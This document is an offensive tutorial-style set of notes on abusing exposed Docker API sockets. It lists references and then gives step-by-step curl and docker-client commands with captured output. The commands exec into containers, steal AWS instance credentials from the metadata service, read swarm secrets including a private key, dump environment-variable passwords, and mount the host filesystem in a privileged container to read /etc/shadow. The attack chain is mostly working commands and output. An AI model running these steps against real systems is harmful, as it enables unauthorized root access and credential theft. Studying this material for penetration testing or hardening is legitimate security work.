Notes on abusing open Docker sockets





This wont cover breaking out of docker containers





Ports: usually 2375 & 2376 but can be anything





Refs:





https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0

https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way

https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html

https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html

https://infoslack.com/devops/exploring-docker-remote-api

https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf

https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/

https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/

https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124

https://www.exploit-db.com/exploits/42356

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb

http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html

https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/

https://blog.ropnop.com/plundering-docker-images/









Enable docker socket (Create practice locations)

https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd





Having the docker API | socket exposed is essentially granting root to any of the containers on the system





The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.





The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.





All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:





Create a nginx container





The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.





$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create





{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}





Start the container





$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start





As mentioned above you can also have the docker socket listen on a TCP port





You can validate it's docker by hitting it with a version request





$ curl -s http://open.docker.socket:2375/version | jq



{

"Version": "1.13.1",

"ApiVersion": "1.26",

"MinAPIVersion": "1.12",

"GitCommit": "07f3374/1.13.1",

"GoVersion": "go1.9.4",

"Os": "linux",

"Arch": "amd64",

"KernelVersion": "3.10.0-514.26.2.el7.x86_64",

"BuildTime": "2018-12-07T16:13:51.683697055+00:00",

"PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"

}





or with the docker client





docker -H open.docker.socket:2375 version



Server:

Engine:

Version: 1.13.1

API version: 1.26 (minimum version 1.12)

Go version: go1.9.4

Git commit: 07f3374/1.13.1

Built: Fri Dec 7 16:13:51 2018

OS/Arch: linux/amd64

Experimental: false









This is basically a shell into the container





Get a list of running containers with the ps command





docker -H open.docker.socket:2375 ps



CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs

b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8

0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql

3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config

3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8

6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry









Exec into one of the containers





docker -H open.docker.socket:2375 exec -it mysql /bin/bash



bash-4.2$ whoami

mysql









Other commands





Are there some stopped containers?

docker -H open.docker.socket:2375 ps -a





What are the images pulled on the host machine?

docker -H open.docker.socket:2375 images









I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.









Using curl to hit the API





Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.









Docker socket to metadata URL

https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec









Below is an example of hitting the internal AWS metadata URL and getting the output





list containers:





curl --insecure https://tls-opendocker.socker:2376/containers/json | jq

[

{

"Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",

"Names": [

"/docker_snip_1"

],

"Image": "dotnetify",

"ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",

"Command": "cmd /S /C 'dotnet netify-temp.dll'",

"Created": 1541018555,

"Ports": [

{

"IP": "0.0.0.0",

"PrivatePort": 443,

"PublicPort": 50278,

---SNIP---









List processes in a container:



curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

{

"Processes": [

[

"smss.exe",

"7868",

"00:00:00.062",

"225.3kB"

],

[

"csrss.exe",

"10980",

"00:00:00.859",

"421.9kB"

],

[

"wininit.exe",

"10536",

"00:00:00.078",

"606.2kB"

],

[

"services.exe",

"10768",

"00:00:00.687",

"1.208MB"

],

[

"lsass.exe",

"10416",

"00:00:36.000",

"4.325MB"

],

---SNIP---









Set up and exec job to hit the metadata URL:





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'



{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}





Get the output:





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'



{

"Code" : "Success",

"LastUpdated" : "2019-01-29T20:12:58Z",

"Type" : "AWS-HMAC",

"AccessKeyId" : "ASIATRSNIP",

"SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",

"Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",

"Expiration" : "2019-01-30T02:43:34Z"

}









Docker secrets









list secrets (no secrets/swarm not set up)



curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}





list secrets (they exist)





$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

[

{

"ID": "9h3useaicj3tr465ejg2koud5",

"Version": {

"Index": 21

},



"CreatedAt": "2018-07-06T10:19:50.677702428Z",

"UpdatedAt": "2018-07-06T10:19:50.677702428Z",

"Spec": {

"Name": "registry-key.key",

"Labels": {} }},





Check what is mounted





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'



{"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}









Get the output by starting the exec





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'



overlay on / type overlay

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)

tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)

devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)

sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)

---SNIP---

mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)

/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)

/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)

/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)

shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)

tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)

tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)

tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)

---SNIP---





Cat the mounted secret





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'



{"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}



curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'



-----BEGIN RSA PRIVATE KEY-----

MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0

---SNIP---









If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables





curl -s --insecure https://tls-opendocker.socket:2376/services | jq



[{

"ID": "amxjs243dzmlc8vgukxdsx57y",

"Version": {

"Index": 6417

},

"CreatedAt": "2018-04-16T19:51:20.489851317Z",

"UpdatedAt": "2018-12-07T13:44:36.6869673Z",

"Spec": {

"Name": "app_REMOVED",

"Labels": {},

"TaskTemplate": {

"ContainerSpec": {

"Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",

"Env": [

"PGADMIN_DEFAULT_EMAIL=REMOVED @gmail.com",

"PGADMIN_DEFAULT_PASSWORD=REMOVED"

],

"Isolation": "default"









Creating a container that has mounted the host file system





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'



{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}





curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test



Read something from the host



curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'



{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}



curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'



root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::

daemon:*:17001:0:99999:7:::

bin:*:17001:0:99999:7:::

sys:*:17001:0:99999:7:::

sync:*:17001:0:99999:7:::

games:*:17001:0:99999:7:::





Cleanup





Stop the container





curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop





delete stopped containers





curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune











